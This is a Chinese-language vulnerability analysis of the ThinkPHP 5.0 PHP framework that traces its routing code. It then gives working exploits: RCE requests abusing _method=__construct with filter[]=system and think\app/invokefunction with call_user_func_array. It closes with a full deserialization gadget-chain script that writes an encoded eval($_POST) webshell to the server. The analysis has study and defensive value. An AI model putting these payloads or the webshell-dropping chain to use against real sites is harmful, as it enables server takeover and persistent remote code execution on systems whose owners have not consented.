以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1
反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1
根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的其实目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:
我们先进入到默认的入口文件(public/index.php)
// 定义应用目录 define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
引入start.php进入到里面看看有什么
进入框架引导文件看到两行代码
// ThinkPHP 引导文件 // 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
在此文件首先看到全面大段的是定义常量或者是检查常量是否存在,主要是以下几点需要重点注意
spl_autoload_register
将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。此函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
首先返回一个request实例,将应用初始化返回配置信息。
之后进行如下的操作:
$data = self::exec($dispatch, $config);
,根据$dispatch进行不同的调度,返回$data$response = $data;
,返回一个Response类实例画个图过一遍整个流程
通过$path = $request->path()
可以获得到请求的path_info,$depr
是定义的分隔符,默认时:/,之后进行路由检测步骤如下
Route::check
(根据路由定义返回不同的URL调度)
获取当前请求类型的路由规则,由于在之前的Composer 自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
中的Route::$rules['get']已经存在了相应的路由规则
检测域名部署
路由规则检查self::checkRoute($request, $rules, $url, $depr)
__miss__
和__atuo__
checkRule
self::parseRule('', $miss['route'], $url, $miss['option'])
进行处理,这就牵涉到TP对于路由的多种定义检查是否强制使用路由$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']
Route::parseUrl($path, $depr, $config['controller_auto_search'])
首先看看路由定义:
定义方式 | 定义格式 | |
---|---|---|
方式1:路由到模块/控制器 | (模块/控制器/操作)?额外参数1=值1&额外参数2=值2... | |
方式2:路由到重定向地址 | '外部地址'(默认301重定向) 或者 ('外部地址','重定向代码') | |
方式3:路由到控制器的方法 | '@(模块/控制器/)操作' | |
方式4:路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法' | |
方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
具体链接可以看看这个开发手册
在画个图过一遍整个路由流程
现在TP的RCE通常将其分成两类:
我们以这个POC为例,进行复现:
我们正常的代码逻辑已经简单的写在了前文,如有代码执行疑惑请在前文寻找答案。
下面我们进行漏洞跟踪梳理
App:run()进行启动,进行到URL路由检测 self::routeCheck($request, $config)
$request->path()
获取到我们自带的兼容模式参数 s进入路由检测Route::check($request, $path, $depr, $config['url_domain_deploy'])
$method = strtolower($request->method())
进入$request->method()
看到在查找$_POST中是否有表单请求类型伪装变量(简单解释一下这个,就是form表单的method只能进行GET和POST请求,如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理)$this->{$this->method}($_POST)
,根据POC我们就进入到了 __construct ,这个东西是PHP魔术方法,进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据,最后返回的是POST上去的method=get最终返回数据如下图所示并且赋值给$dispatch
进入关键代码$data = self::exec($dispatch, $config)
然后再次进入到回调方法中的Request::instance()->param()
,继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter)
,这个函数解释如下:
重要代码跟进,调用call_user_func($filter, $value)
将其传入的$filter=system,$value=sysyteminfo
最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型
call_user_func($filter, $value)
因为最终你传入的是一个数组,第一个是需要执行的类型,后面是为null,因此会报错。$data['echo'] = ob_get_clean()
,获取到前面未被赋值的命令执行的结果,从而随着报错页面一起发送给客户端从而达到回显的目的。需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他
5.0~5.0.23(本人只测了0和23的完整版,那么猜测中间的版本也是通杀没有问题) POST http://localhost/tp/public/index.php?s=captcha?s=captcha _method=__construct&filter[]=system&method=GET&get[]=whoami 5.1.x低版本也可行请自行调试寻找
正常代码逻辑已经梳理,请自行查看前文。
下面进行漏洞逻辑梳理
$dispatch = self::routeCheck($request, $config)
,最终进入Route::parseUrl($path, $depr, $config['controller_auto_search'])
,通过分隔符替换从而将我们输入的pathinfo信息打散成数组: index|think\app|invokefunction,最终返回类似这样的数据进入$data = self::exec($dispatch, $config);
将前面获得的调度信息传进去
$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))
。这样能保证程序不报错中断并且使 $available=trueLoader::controller
进行控制类调用 Loader::getModuleAndClass 使得程序通过 invokeClass 返回我们所输入的类的实例$reflect->invokeArgs(isset($class) ? $class : null, $args)
那么就可以调用我们所想调用的函数,参数也相应传入最后跟前面那个漏洞一样,我们所执行的结果会随着报错输出缓冲区一起显示出来。
因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找
5.0.x(具体自行测试) http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() 5.1.x(具体自行测试,适合linux环境) http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
先看看PHP的魔术方法
梳理反序列化利用链漏洞首先需要一个漏洞触发点,别问,问就是自己写:
我们发现在 thinkphp/library/think/process/pipes/Windows.php 中发现__destruct
中存在removeFiles函数,并且在其中存在$this->files
和file_exists
,那么我们通过可控的$this->files
利用file_exists
可以调用一些类的__toString
方法,之后查看此方法在抽象类Model(thinkphp/library/think/Model.php),抽象类不能直接调用,因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用
然后从toJson()->toArray(),我们看到$item[$key] = $value ? $value->getAttr($attr) : null
其中 $value->getAttr是我们利用__call魔术方法 的点,我们来梳理代码逻辑使之可以顺利执行这句代码。
$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
才能让$value变成我们想要的东西进入到__call,发现$this->styles我们可以控制那么就可以执行block方法,block调用writeln方法,writeln调用write方法,发现write方法中$this->handle->write($messages, $newline, $type)
那么我们可以控制$this->handle
,我们将其设置为Memcached类(thinkphp/library/think/session/driver/Mencached.php),然后进入到Memcached->write方法中看到Memcached也存在一个$this->handle,我们将其设置为File类(thinkphp/library/think/cache/driver/File.php)从而进入到File->set方法我们可以看到file_put_contents($filename, $data)
其中的两个参数我们都可以控制
$this->setTagItem($filename)
我们看到此方法又调用一次set方法并且传入set的三个值我们都可以控制从网上找来的EXP,改了改关键的几个点,并且可以实现在Windows写文件
<?php namespace think\process\pipes { class Windows { private $files = []; public function __construct($files) { $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类 } } } namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent; function __construct($output, $modelRelation) { $this->parent = $output; //$this->parent=> think\console\Output; $this->append = array("xxx"=>"getError"); //调用getError 返回this->error $this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne } } } namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } namespace think\model\relation{ class HasOne extends OneToOne { } } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量 } } } namespace think\db { class Query { protected $model; function __construct($model) { $this->model = $model; //$this->model=> think\console\Output; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; //$handle->think\session\driver\Memcached } } } namespace think\session\driver { class Memcached { protected $handler; function __construct($handle) { $this->handler = $handle; //$handle->think\cache\driver\File } } } namespace think\cache\driver { class File { protected $options=null; protected $tag; function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; } } } namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo serialize($window); echo base64_encode(serialize($window)); }